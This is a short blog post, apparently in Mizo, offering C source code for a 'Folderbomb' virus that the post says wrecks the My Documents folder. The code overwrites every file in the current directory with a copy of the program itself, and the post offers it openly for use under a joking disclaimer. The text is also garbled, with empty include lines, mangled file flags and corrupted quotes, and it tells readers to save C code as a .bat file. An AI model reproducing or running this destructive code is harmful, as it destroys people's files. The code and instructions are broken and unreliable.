virus

“My documents ” delete tur VIRUS C program hmanga siamdan (full program code)

Posted on Updated on

**DISCLAIMER: I Virus siamah a ziaktu in mawh a phur lo ang πŸ™‚

A hnuaia C program code kan tarlan khuan MY DOCUMENTS folder a tibuai thei a,folder chhungah folder dang tam tak siamin ,virus chimawm tak ani ang.I tihtur zawng chu a hnuaia code khu notepad ah i copy+paste (ctrl+c & ctrl+v) anga, i hming duh duh a save in , a file extension ah .bat i hmang dawn nia(entirnan VIRUS.BAT).

A code chu :

#include<stdio.h>

#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{
char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s β€œ, ffblk.ff_name);printf(”is attacked by β€œ);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)

write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Β